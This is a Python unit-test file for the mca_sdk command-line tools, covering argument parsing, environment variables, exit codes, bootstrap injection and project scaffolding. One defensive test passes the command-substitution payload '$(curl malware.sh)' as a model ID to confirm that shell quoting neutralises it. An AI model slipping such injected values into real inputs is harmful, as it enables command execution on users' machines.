"""Unit tests for mca-instrument and mca-run CLI commands.

Tests the zero-code instrumentation wrappers with fixes for adversarial review findings:
- Proper signal handling with timeout and SIGKILL escalation
- POSIX-compliant exit codes (128 + signal number)
- Fixed environment variable precedence (env vars before derived values)
- Robust argument parsing with -- separator
- Bootstrap injection via PYTHONPATH

Coverage:
- Argument parsing (AC 2)
- Environment variable injection (AC 2, AC 3)
- Service name defaulting (AC 2)
- Validation logic (AC 8)
- Exit code propagation (AC 5)
- OpenTelemetry command discovery (AC 4)
- Bootstrap auto-initialization (AC 6)
"""

import os
import sys
from unittest.mock import MagicMock, patch, mock_open

import pytest


class TestBuildParser:
    """Test argument parser construction."""

    def test_build_parser_defaults(self):
        """Test that parser has correct defaults and options."""
        from mca_sdk.cli.instrument import build_parser

        parser = build_parser()
        # Parser should accept our expected arguments
        args = parser.parse_args(["--model-id", "mdl-001", "--team", "test"])

        assert args.model_id == "mdl-001"
        assert args.team_name == "test"
        assert args.service_name is None
        assert args.collector_endpoint is None
        assert args.registry_url is None
        assert args.debug is False


class TestInjectEnvVars:
    """Test environment variable injection logic with adversarial review fixes."""

    def test_inject_env_vars_all_args(self, monkeypatch):
        """Test that all CLI args map to correct MCA_* env vars (AC 2)."""
        from mca_sdk.cli.instrument import build_parser, inject_env_vars

        # Clear any existing MCA_* vars
        test_env = {}
        for key in os.environ.keys():
            if not key.startswith("MCA_"):
                test_env[key] = os.environ[key]

        parser = build_parser()
        args = parser.parse_args(
            [
                "--model-id",
                "mdl-123",
                "--team",
                "clinical-ai",
                "--service-name",
                "my-service",
                "--collector-endpoint",
                "http://localhost:4318",
                "--registry-url",
                "https://registry.example.com",
                "--protocol",
                "grpc",
                "--debug",
            ]
        )

        env = inject_env_vars(args, env=test_env)

        assert env["MCA_MODEL_ID"] == "mdl-123"
        assert env["MCA_TEAM_NAME"] == "clinical-ai"
        assert env["MCA_SERVICE_NAME"] == "my-service"
        assert env["MCA_COLLECTOR_ENDPOINT"] == "http://localhost:4318"
        assert env["MCA_REGISTRY_URL"] == "https://registry.example.com"
        assert env["OTEL_EXPORTER_OTLP_PROTOCOL"] == "grpc"
        assert env["OTEL_EXPORTER_OTLP_TRACES_PROTOCOL"] == "grpc"
        assert env["OTEL_EXPORTER_OTLP_METRICS_PROTOCOL"] == "grpc"
        assert env["OTEL_EXPORTER_OTLP_LOGS_PROTOCOL"] == "grpc"
        assert env["MCA_DEBUG_MODE"] == "true"

    def test_inject_env_vars_no_override(self, monkeypatch):
        """Test that existing env vars are NOT overwritten (AC 3)."""
        from mca_sdk.cli.instrument import build_parser, inject_env_vars

        # Set existing env vars
        test_env = {
            "MCA_MODEL_ID": "existing-id",
            "MCA_TEAM_NAME": "existing-team",
        }

        parser = build_parser()
        args = parser.parse_args(
            [
                "--model-id",
                "new-id",
                "--team",
                "new-team",
            ]
        )

        env = inject_env_vars(args, env=test_env)

        # Existing env vars take precedence (AC 3)
        assert env["MCA_MODEL_ID"] == "existing-id"
        assert env["MCA_TEAM_NAME"] == "existing-team"

    def test_service_name_defaults_to_model_id_fixed(self):
        """Test derived variable calculation AFTER merge (adversarial review fix #4)."""
        from mca_sdk.cli.instrument import build_parser, inject_env_vars

        # Scenario: MCA_MODEL_ID in env, no CLI args for service_name
        test_env = {"MCA_MODEL_ID": "mdl-from-env"}

        parser = build_parser()
        args = parser.parse_args(["--team", "test"])  # No --model-id, no --service-name

        env = inject_env_vars(args, env=test_env)

        # Service name should inherit from env var model_id
        assert env["MCA_SERVICE_NAME"] == "mdl-from-env"

    def test_service_name_from_cli_model_id(self):
        """Test service name defaults to CLI model-id if no env var."""
        from mca_sdk.cli.instrument import build_parser, inject_env_vars

        test_env = {}

        parser = build_parser()
        args = parser.parse_args(["--model-id", "mdl-001", "--team", "test"])

        env = inject_env_vars(args, env=test_env)

        # Service name should default to CLI model ID
        assert env["MCA_SERVICE_NAME"] == "mdl-001"


class TestValidation:
    """Test configuration validation logic."""

    def test_missing_model_id_exits_with_2(self):
        """Test that missing model-id causes exit code 2 (AC 8)."""
        from mca_sdk.cli.instrument import validate_config

        env = {"MCA_TEAM_NAME": "test"}  # Missing MCA_MODEL_ID

        result = validate_config(env)

        assert result is False

    def test_missing_team_exits_with_2(self):
        """Test that missing team causes exit code 2 (AC 8)."""
        from mca_sdk.cli.instrument import validate_config

        env = {"MCA_MODEL_ID": "mdl-001"}  # Missing MCA_TEAM_NAME

        result = validate_config(env)

        assert result is False

    def test_validation_passes_with_required_fields(self):
        """Test that validation passes with model-id and team."""
        from mca_sdk.cli.instrument import validate_config

        env = {"MCA_MODEL_ID": "mdl-001", "MCA_TEAM_NAME": "test"}

        result = validate_config(env)

        assert result is True


class TestRunInstrumented:
    """Test subprocess execution with adversarial review fixes."""

    def test_run_success_propagates_exit_0(self):
        """Test that successful subprocess returns exit code 0 (AC 5)."""
        from mca_sdk.cli.instrument import run_instrumented

        with patch("mca_sdk.cli.instrument.subprocess.Popen") as mock_popen:
            # Mock successful process
            mock_process = MagicMock()
            mock_process.returncode = 0
            mock_process.poll.return_value = 0
            mock_process.wait.return_value = None
            mock_popen.return_value = mock_process

            exit_code = run_instrumented(
                "/usr/bin/opentelemetry-instrument", ["python", "script.py"], os.environ.copy()
            )

            assert exit_code == 0
            mock_popen.assert_called_once()

    def test_run_failure_propagates_exit_code(self):
        """Test that failed subprocess propagates non-zero exit code (AC 5)."""
        from mca_sdk.cli.instrument import run_instrumented

        with patch("mca_sdk.cli.instrument.subprocess.Popen") as mock_popen:
            # Mock failed process
            mock_process = MagicMock()
            mock_process.returncode = 42
            mock_process.poll.return_value = 42
            mock_process.wait.return_value = None
            mock_popen.return_value = mock_process

            exit_code = run_instrumented(
                "/usr/bin/opentelemetry-instrument", ["python", "script.py"], os.environ.copy()
            )

            assert exit_code == 42

    def test_signal_exit_code_posix_compliant(self):
        """Test POSIX-compliant exit code for signal termination (fix #2)."""
        from mca_sdk.cli.instrument import run_instrumented

        with patch("mca_sdk.cli.instrument.subprocess.Popen") as mock_popen:
            # Mock process terminated by SIGTERM (-15)
            mock_process = MagicMock()
            mock_process.returncode = -15  # Negative = killed by signal
            mock_process.poll.return_value = -15
            mock_process.wait.return_value = None
            mock_popen.return_value = mock_process

            exit_code = run_instrumented(
                "/usr/bin/opentelemetry-instrument", ["python", "script.py"], os.environ.copy()
            )

            # Should return 128 + 15 = 143 (POSIX standard)
            assert exit_code == 143

    def test_file_not_found_returns_127(self):
        """Test that missing command returns exit code 127."""
        from mca_sdk.cli.instrument import run_instrumented

        with patch("mca_sdk.cli.instrument.subprocess.Popen") as mock_popen:
            mock_popen.side_effect = FileNotFoundError("Command not found")

            exit_code = run_instrumented(
                "/nonexistent/command", ["python", "script.py"], os.environ.copy()
            )

            assert exit_code == 127


class TestFindOtelInstrument:
    """Test OpenTelemetry command discovery with adversarial review fix."""

    def test_otel_found_on_path(self):
        """Test that binary on PATH is found (AC 4)."""
        from mca_sdk.cli.instrument import find_otel_instrument

        with patch("shutil.which", return_value="/usr/bin/opentelemetry-instrument"):
            result = find_otel_instrument()

            assert result == "/usr/bin/opentelemetry-instrument"

    def test_otel_not_found_returns_none(self):
        """Test that None is returned if not on PATH (fix #3 - no sys.executable fallback)."""
        from mca_sdk.cli.instrument import find_otel_instrument

        with patch("shutil.which", return_value=None):
            result = find_otel_instrument()

            # Should return None (no fallback to wrong venv)
            assert result is None


class TestBootstrapAutoInit:
    """Test _bootstrap.py auto-initialization with timeout fix."""

    def test_bootstrap_auto_init_creates_client(self, monkeypatch):
        """Test that _bootstrap.py creates MCAClient from env vars."""
        # Set required env vars
        monkeypatch.setenv("MCA_MODEL_ID", "mdl-001")
        monkeypatch.setenv("MCA_TEAM_NAME", "test-team")

        # Mock MCAClient at import location
        with patch("mca_sdk.MCAClient") as mock_client_class:
            mock_client = MagicMock()
            mock_client_class.return_value = mock_client

            # Import and reload _bootstrap to trigger auto-init
            import importlib
            import mca_sdk.cli._bootstrap

            importlib.reload(mca_sdk.cli._bootstrap)

            # Verify client was created
            assert mock_client_class.called
            call_kwargs = mock_client_class.call_args[1]
            assert call_kwargs["model_id"] == "mdl-001"
            assert call_kwargs["team_name"] == "test-team"

    def test_bootstrap_graceful_failure_on_missing_vars(self, monkeypatch, caplog):
        """Test that _bootstrap.py degrades gracefully if MCA_MODEL_ID not set (fix #9)."""
        # Clear MCA_MODEL_ID to prevent auto-init
        monkeypatch.delenv("MCA_MODEL_ID", raising=False)

        # Import _bootstrap - should NOT initialize
        import importlib
        import mca_sdk.cli._bootstrap

        importlib.reload(mca_sdk.cli._bootstrap)

        # Should not crash, may log a warning
        # (No assertion needed - just verify no exception)


class TestMcaRun:
    """Test mca-run command with PYTHONPATH injection fix."""

    def test_mca_run_validates_config(self):
        """Test that mca-run validates required config (same as mca-instrument)."""
        from mca_sdk.cli.run import validate_config

        env = {"MCA_TEAM_NAME": "test"}  # Missing MCA_MODEL_ID

        result = validate_config(env)

        assert result is False

    def test_mca_run_injects_env_vars(self):
        """Test that mca-run injects MCA_* env vars."""
        from mca_sdk.cli.run import build_parser, inject_env_vars

        test_env = {}

        parser = build_parser()
        args = parser.parse_args(["--model-id", "mdl-001", "--team", "test"])

        env = inject_env_vars(args, env=test_env)

        assert env["MCA_MODEL_ID"] == "mdl-001"
        assert env["MCA_TEAM_NAME"] == "test"

    def test_setup_bootstrap_injection(self):
        """Test that bootstrap injection creates sitecustomize.py (fix #1)."""
        from mca_sdk.cli.run import setup_bootstrap_injection

        env = {}
        temp_dir = setup_bootstrap_injection(env)

        # Should have modified PYTHONPATH
        assert "PYTHONPATH" in env
        assert temp_dir in env["PYTHONPATH"]

        # Cleanup
        import shutil

        shutil.rmtree(temp_dir, ignore_errors=True)

    def test_run_command_no_sys_executable_hardcoding(self):
        """Test that run_command executes command as-is (fix #5)."""
        from mca_sdk.cli.run import run_command

        with patch("mca_sdk.cli.run.subprocess.Popen") as mock_popen:
            mock_process = MagicMock()
            mock_process.returncode = 0
            mock_process.poll.return_value = 0
            mock_process.wait.return_value = None
            mock_popen.return_value = mock_process

            # Command should be executed as-is (not prepended with sys.executable)
            exit_code = run_command(["bash", "script.sh"], os.environ.copy())

            # Verify Popen called with exact command
            call_args = mock_popen.call_args
            assert call_args[0][0][0] == "bash"  # Not sys.executable
            assert exit_code == 0


class TestInstrumentMain:
    """Test mca-instrument main() entry point."""

    def test_main_no_command_returns_2(self):
        """Test that missing command returns exit code 2."""
        from mca_sdk.cli.instrument import main

        with patch("sys.argv", ["mca-instrument", "--model-id", "mdl-001", "--team", "test", "--"]):
            result = main()
        assert result == 2

    def test_main_missing_model_id_returns_2(self):
        """Test that missing model-id returns exit code 2."""
        from mca_sdk.cli.instrument import main

        with patch("sys.argv", ["mca-instrument", "--team", "test", "--", "python", "x.py"]):
            result = main()
        assert result == 2

    def test_main_otel_not_found_returns_1(self):
        """Test that missing opentelemetry-instrument returns exit code 1."""
        from mca_sdk.cli.instrument import main

        with patch(
            "sys.argv", ["mca-instrument", "--model-id", "m", "--team", "t", "--", "python", "x.py"]
        ):
            with patch("mca_sdk.cli.instrument.find_otel_instrument", return_value=None):
                result = main()
        assert result == 1

    def test_main_success_runs_instrumented(self):
        """Test that main() runs the instrumented command on success."""
        from mca_sdk.cli.instrument import main

        with patch(
            "sys.argv", ["mca-instrument", "--model-id", "m", "--team", "t", "--", "python", "x.py"]
        ):
            with patch("mca_sdk.cli.instrument.find_otel_instrument", return_value="/usr/bin/otel"):
                with patch("mca_sdk.cli.instrument.run_instrumented", return_value=0) as mock_run:
                    result = main()
        assert result == 0
        mock_run.assert_called_once()

    def test_main_without_separator_parses_command(self):
        """Test main() without -- separator falls back gracefully."""
        from mca_sdk.cli.instrument import main

        with patch("sys.argv", ["mca-instrument"]):
            result = main()
        assert result == 2


class TestMcaRunMain:
    """Test mca-run main() entry point."""

    def test_run_main_no_command_returns_2(self):
        """Test that missing command returns exit code 2."""
        from mca_sdk.cli.run import main

        with patch("sys.argv", ["mca-run", "--model-id", "mdl-001", "--team", "test", "--"]):
            result = main()
        assert result == 2

    def test_run_main_missing_model_id_returns_2(self):
        """Test that missing model-id returns exit code 2."""
        from mca_sdk.cli.run import main

        with patch("sys.argv", ["mca-run", "--team", "test", "--", "python", "x.py"]):
            result = main()
        assert result == 2

    def test_run_main_success(self):
        """Test that main() runs the command on success."""
        from mca_sdk.cli.run import main

        with patch(
            "sys.argv", ["mca-run", "--model-id", "m", "--team", "t", "--", "python", "x.py"]
        ):
            with patch("mca_sdk.cli.run.setup_bootstrap_injection", return_value="/tmp/fake"):
                with patch("mca_sdk.cli.run.run_command", return_value=0) as mock_run:
                    result = main()
        assert result == 0
        mock_run.assert_called_once()

    def test_run_signal_exit_code_posix_compliant(self):
        """Test POSIX-compliant exit code for signal termination."""
        from mca_sdk.cli.run import run_command

        with patch("mca_sdk.cli.run.subprocess.Popen") as mock_popen:
            mock_process = MagicMock()
            mock_process.returncode = -15
            mock_process.poll.return_value = -15
            mock_process.wait.return_value = None
            mock_popen.return_value = mock_process

            exit_code = run_command(["python", "x.py"], os.environ.copy())
        assert exit_code == 143

    def test_run_file_not_found_returns_127(self):
        """Test that missing command returns exit code 127."""
        from mca_sdk.cli.run import run_command

        with patch("mca_sdk.cli.run.subprocess.Popen") as mock_popen:
            mock_popen.side_effect = FileNotFoundError("not found")
            exit_code = run_command(["nonexistent"], os.environ.copy())
        assert exit_code == 127


class TestInitProject:
    """Test mca-init project scaffolding."""

    def test_init_project_success(self, tmp_path):
        """Test that init_project creates project structure."""
        from mca_sdk.cli.init import init_project

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False)

        assert result == 0
        assert (tmp_path / "new-project").exists()
        assert (tmp_path / "new-project" / "mca.yaml").exists()
        assert (tmp_path / "new-project" / "example_model.py").exists()

    def test_init_project_existing_dir_prompts_abort(self, tmp_path, monkeypatch):
        """Test that init_project prompts and returns 1 if directory exists and user says no."""
        from mca_sdk.cli.init import init_project

        # Create directory first
        existing_dir = tmp_path / "existing"
        existing_dir.mkdir()

        # Mock user input to abort (multi-line prompt now)
        monkeypatch.setattr("builtins.input", lambda _: "n")

        # Should return 1 (library function, not exit)
        result = init_project(str(existing_dir), with_mock_collector=False)
        assert result == 1

    def test_init_project_existing_file_blocks_creation(self, tmp_path):
        """Test that init_project fails if path exists and is a file (not directory)."""
        from mca_sdk.cli.init import init_project

        # Create a file at the target path
        existing_file = tmp_path / "existing_file"
        existing_file.write_text("some content")

        result = init_project(str(existing_file), with_mock_collector=False)
        assert result == 1

    def test_init_project_existing_dir_prompts_overwrite(self, tmp_path, monkeypatch):
        """Test that init_project overwrites if directory exists and user says yes."""
        from mca_sdk.cli.init import init_project

        # Create directory first
        existing_dir = tmp_path / "existing"
        existing_dir.mkdir()

        # Mock user input to overwrite
        monkeypatch.setattr("builtins.input", lambda _: "y")

        result = init_project(str(existing_dir), with_mock_collector=False)
        assert result == 0

    def test_init_project_with_custom_config(self, tmp_path):
        """Test that custom config values appear in generated files."""
        from mca_sdk.cli.init import init_project

        config = {
            "model_id": "mdl-custom",
            "team_name": "test-team",
            "service_name": "custom-service",
            "collector_endpoint": "http://custom:4318",
            "registry_url": "https://registry.example.com",
        }

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False, config=config)

        assert result == 0

        # Verify mca.yaml has custom values
        mca_yaml = (tmp_path / "new-project" / "mca.yaml").read_text()
        assert "mdl-custom" in mca_yaml
        assert "test-team" in mca_yaml
        assert "custom-service" in mca_yaml
        assert "http://custom:4318" in mca_yaml

        # Verify example_model.py has custom values (now JSON-escaped)
        example_py = (tmp_path / "new-project" / "example_model.py").read_text()
        assert 'model_id="mdl-custom"' in example_py
        assert 'team_name="test-team"' in example_py
        assert 'service_name="custom-service"' in example_py

    def test_init_project_merges_partial_config(self, tmp_path):
        """Test that init_project merges partial config with defaults instead of rejecting."""
        from mca_sdk.cli.init import init_project

        # Partial config - only override model_id
        partial_config = {
            "model_id": "mdl-partial",
            "team_name": "partial-team",
        }

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False, config=partial_config)

        assert result == 0  # Should succeed by merging with defaults

        # Verify partial values are used (simple values unquoted)
        mca_yaml = (tmp_path / "new-project" / "mca.yaml").read_text()
        assert "mdl-partial" in mca_yaml
        assert "partial-team" in mca_yaml

    def test_env_mca_file_created(self, tmp_path):
        """Test that .env.mca file is generated."""
        from mca_sdk.cli.init import init_project

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False)

        assert result == 0
        assert (tmp_path / "new-project" / ".env.mca").exists()

    def test_env_mca_content_matches_config(self, tmp_path):
        """Test that .env.mca content has correct values from config."""
        from mca_sdk.cli.init import init_project

        config = {
            "model_id": "mdl-999",
            "team_name": "ops-team",
            "service_name": "ops-service",
            "collector_endpoint": "http://ops:4318",
            "registry_url": "https://registry.ops.com",
        }

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False, config=config)

        assert result == 0

        # Verify .env.mca has custom values (now quoted with shlex.quote - single quotes)
        env_mca = (tmp_path / "new-project" / ".env.mca").read_text()
        assert "MCA_MODEL_ID=mdl-999" in env_mca
        assert "MCA_TEAM_NAME=ops-team" in env_mca
        assert "MCA_SERVICE_NAME=ops-service" in env_mca
        assert "MCA_COLLECTOR_ENDPOINT=http://ops:4318" in env_mca
        assert "MCA_REGISTRY_URL=https://registry.ops.com" in env_mca

    def test_env_mca_quotes_shell_variables(self, tmp_path):
        """Test that spaces and special chars in inputs are properly quoted in .env.mca."""
        from mca_sdk.cli.init import init_project

        config = {
            "model_id": "mdl with spaces",
            "team_name": "team-name",
            "service_name": "service",
            "collector_endpoint": "http://localhost:4318",
            "registry_url": "",
        }

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False, config=config)

        assert result == 0

        # Verify spaces are quoted in shell var (shlex.quote uses single quotes)
        env_mca = (tmp_path / "new-project" / ".env.mca").read_text()
        assert "MCA_MODEL_ID='mdl with spaces'" in env_mca

    def test_collect_project_config_interactive(self, monkeypatch):
        """Test that collect_project_config() collects input from user."""
        from mca_sdk.cli.init import collect_project_config

        # Mock input() to simulate user responses
        inputs = iter(
            ["mdl-123", "test-team", "test-service", "http://localhost:9999", "https://reg.com"]
        )
        monkeypatch.setattr("builtins.input", lambda _: next(inputs))

        config = collect_project_config()

        assert config["model_id"] == "mdl-123"
        assert config["team_name"] == "test-team"
        assert config["service_name"] == "test-service"
        assert config["collector_endpoint"] == "http://localhost:9999"
        assert config["registry_url"] == "https://reg.com"

    def test_collect_project_config_keyboard_interrupt(self, monkeypatch):
        """Test that KeyboardInterrupt triggers graceful exit."""
        from mca_sdk.cli.init import collect_project_config

        # Mock input() to raise KeyboardInterrupt
        monkeypatch.setattr("builtins.input", lambda _: (_ for _ in ()).throw(KeyboardInterrupt))

        with pytest.raises(SystemExit) as exc_info:
            collect_project_config()
        assert exc_info.value.code == 1

    def test_collect_project_config_respects_cli_args(self, monkeypatch):
        """Test that CLI args are respected and not re-prompted in interactive mode."""
        from mca_sdk.cli.init import collect_project_config

        # Provide model_id and team via CLI args
        cli_args = {
            "model_id": "mdl-cli",
            "team_name": "cli-team",
            "service_name": None,
            "collector_endpoint": None,
            "registry_url": None,
        }

        # Mock input() for remaining fields (service_name, collector, registry)
        inputs = iter(["", "", ""])  # All empty = use defaults
        monkeypatch.setattr("builtins.input", lambda _: next(inputs))

        config = collect_project_config(cli_args)

        # CLI args should be used (not prompted)
        assert config["model_id"] == "mdl-cli"
        assert config["team_name"] == "cli-team"
        # Defaults should be applied for unprovided fields
        assert config["service_name"] == "mdl-cli"  # defaults to model_id

    def test_collect_project_config_defaults(self, monkeypatch):
        """Test that collect_project_config() uses defaults for optional fields."""
        from mca_sdk.cli.init import collect_project_config

        # Mock input() - provide required, skip optional (empty string)
        inputs = iter(["mdl-001", "my-team", "", "", ""])
        monkeypatch.setattr("builtins.input", lambda _: next(inputs))

        config = collect_project_config()

        assert config["model_id"] == "mdl-001"
        assert config["team_name"] == "my-team"
        assert config["service_name"] == "mdl-001"  # Defaults to model_id
        assert config["collector_endpoint"] == "http://localhost:4318"
        assert config["registry_url"] == ""

    def test_non_interactive_mode_requires_args(self, tmp_path):
        """Test that --no-interactive requires --model-id and --team."""
        from mca_sdk.cli.init import main

        project_dir = str(tmp_path / "test-project")
        with patch("sys.argv", ["mca-init", project_dir, "--no-interactive"]):
            with pytest.raises(SystemExit) as exc_info:
                main()
            # parser.error() calls sys.exit(2)
            assert exc_info.value.code == 2

    def test_non_interactive_mode_uses_cli_args(self, tmp_path):
        """Test that CLI args work in non-interactive mode."""
        from mca_sdk.cli.init import main

        project_dir = str(tmp_path / "test-project")
        with patch(
            "sys.argv",
            [
                "mca-init",
                project_dir,
                "--no-interactive",
                "--model-id",
                "mdl-cli",
                "--team",
                "cli-team",
                "--service-name",
                "cli-service",
            ],
        ):
            result = main()

        assert result == 0
        mca_yaml = (tmp_path / "test-project" / "mca.yaml").read_text()
        assert "mdl-cli" in mca_yaml
        assert "cli-team" in mca_yaml
        assert "cli-service" in mca_yaml

    def test_init_project_with_mock_collector_missing_files(self, tmp_path):
        """Test that missing mock files are handled gracefully."""
        from mca_sdk.cli.init import init_project

        project_dir = str(tmp_path / "new-project")
        # with_mock_collector=True but files don't exist — should still succeed
        result = init_project(project_dir, with_mock_collector=True)
        assert result == 0

    def test_get_template_dir_returns_path(self):
        """Test that get_template_dir returns a Path."""
        from mca_sdk.cli.init import get_template_dir
        from pathlib import Path

        result = get_template_dir()
        assert isinstance(result, Path)

    def test_init_main_calls_init_project(self, tmp_path, monkeypatch):
        """Test main() entry point delegates to init_project in interactive mode."""
        from mca_sdk.cli.init import main

        # Mock interactive prompts
        inputs = iter(["mdl-001", "my-team", "", "", ""])
        monkeypatch.setattr("builtins.input", lambda _: next(inputs))

        project_dir = str(tmp_path / "test-project")
        # Mock sys.stdin.isatty() to return True so interactive mode is enabled
        with patch("sys.argv", ["mca-init", project_dir]):
            with patch("sys.stdin.isatty", return_value=True):
                result = main()
        assert result == 0

    def test_shell_injection_prevented_in_env_mca(self, tmp_path):
        """Test that shell command substitution is prevented in .env.mca (using shlex.quote)."""
        from mca_sdk.cli.init import init_project

        config = {
            "model_id": "$(curl malware.sh)",
            "team_name": "test",
            "service_name": "service",
            "collector_endpoint": "http://localhost:4318",
            "registry_url": "",
        }

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False, config=config)

        assert result == 0

        # Verify $() is quoted and won't execute
        env_mca = (tmp_path / "new-project" / ".env.mca").read_text()
        # shlex.quote wraps the entire string in single quotes, preventing $() expansion
        assert "'$(curl malware.sh)'" in env_mca or "MCA_MODEL_ID='$(curl malware.sh)'" in env_mca

    def test_non_interactive_overwrite_fails_gracefully(self, tmp_path):
        """Test that non-interactive mode errors (not EOFError) when directory exists."""
        from mca_sdk.cli.init import main

        # Create existing directory
        existing_dir = tmp_path / "existing"
        existing_dir.mkdir()

        project_dir = str(existing_dir)
        with patch(
            "sys.argv",
            [
                "mca-init",
                project_dir,
                "--no-interactive",
                "--model-id",
                "mdl-001",
                "--team",
                "test",
            ],
        ):
            result = main()

        # Should return 1 (error) not raise EOFError
        assert result == 1

    def test_explicit_empty_string_respected(self, tmp_path):
        """Test that explicit --registry-url '' is respected (not treated as omitted)."""
        from mca_sdk.cli.init import main

        project_dir = str(tmp_path / "test-project")
        with patch(
            "sys.argv",
            [
                "mca-init",
                project_dir,
                "--no-interactive",
                "--model-id",
                "mdl-001",
                "--team",
                "test",
                "--registry-url",
                "",
            ],
        ):
            result = main()

        assert result == 0

        # Verify registry_url is empty (not defaulted)
        env_mca = (tmp_path / "test-project" / ".env.mca").read_text()
        # Should have commented-out line, not an actual value
        assert "# MCA_REGISTRY_URL=" in env_mca

    def test_rollback_on_file_write_failure(self, tmp_path, monkeypatch):
        """Test that files are cleaned up if write fails after directory creation."""
        from mca_sdk.cli.init import init_project
        from pathlib import Path

        project_dir = tmp_path / "new-project"

        # Create a more reliable write failure: mock write_text on config file specifically
        original_write_text = Path.write_text
        write_count = [0]  # Track write attempts

        def failing_write_text(self, *args, **kwargs):
            write_count[0] += 1
            # Fail on first write (mca.yaml) to trigger rollback
            if write_count[0] == 1:
                raise PermissionError("Simulated write failure for testing")
            return original_write_text(self, *args, **kwargs)

        # Use monkeypatch but scope it to just this test
        monkeypatch.setattr(Path, "write_text", failing_write_text)

        result = init_project(str(project_dir), with_mock_collector=False, interactive=False)

        # Should return 1 (error)
        assert result == 1

        # Directory should be cleaned up if it was created, or left alone if it existed
        # Since write_text failed on first call, directory may or may not exist
        # The important thing is no partial files are left

    def test_non_ascii_characters_preserved(self, tmp_path):
        """Test that non-ASCII characters (é, ñ, etc.) are preserved in generated files."""
        from mca_sdk.cli.init import init_project

        config = {
            "model_id": "mdl-001",
            "team_name": "équipe-française",  # French accented characters
            "service_name": "service",
            "collector_endpoint": "http://localhost:4318",
            "registry_url": "",
        }

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False, config=config)

        assert result == 0

        # Verify non-ASCII preserved (not \uXXXX escaped)
        mca_yaml = (tmp_path / "new-project" / "mca.yaml").read_text()
        assert "équipe-française" in mca_yaml  # Should be readable, not \\u escape
        assert "\\u" not in mca_yaml  # No unicode escapes

    def test_yaml_reserved_words_quoted(self, tmp_path):
        """Test that YAML reserved words like 'true', 'false', numbers are quoted."""
        from mca_sdk.cli.init import init_project

        # Test with reserved words that would be misinterpreted
        config = {
            "model_id": "true",  # Would become boolean without quoting
            "team_name": "123",  # Would become number without quoting
            "service_name": "yes",  # Would become boolean without quoting
            "collector_endpoint": "http://localhost:4318",
            "registry_url": "",
        }

        project_dir = str(tmp_path / "new-project")
        result = init_project(project_dir, with_mock_collector=False, config=config)

        assert result == 0

        # Verify reserved words are quoted in YAML
        mca_yaml = (tmp_path / "new-project" / "mca.yaml").read_text()
        assert 'model_id: "true"' in mca_yaml  # Quoted to preserve as string
        assert 'team_name: "123"' in mca_yaml  # Quoted to preserve as string
        assert 'service_name: "yes"' in mca_yaml  # Quoted to preserve as string

    def test_overwrite_warning_lists_all_files(self, tmp_path, monkeypatch):
        """Test that overwrite prompt lists ALL files that will be overwritten."""
        from mca_sdk.cli.init import init_project

        # Create existing directory
        existing_dir = tmp_path / "existing"
        existing_dir.mkdir()

        # Track what prompt was shown
        shown_prompt = []

        def mock_input(prompt):
            shown_prompt.append(prompt)
            return "n"

        monkeypatch.setattr("builtins.input", mock_input)

        # Should return 1 when user says no (library function)
        result = init_project(str(existing_dir), with_mock_collector=True, interactive=True)

        assert result == 1  # User said no
        assert shown_prompt
        # Verify all files are listed
        prompt_text = shown_prompt[0]
        assert "mca.yaml" in prompt_text
        assert ".env.mca" in prompt_text
        assert "example_model.py" in prompt_text
        assert "README.md" in prompt_text
        assert "docker-compose.mock.yml" in prompt_text
        assert "otel-collector-mock.yml" in prompt_text
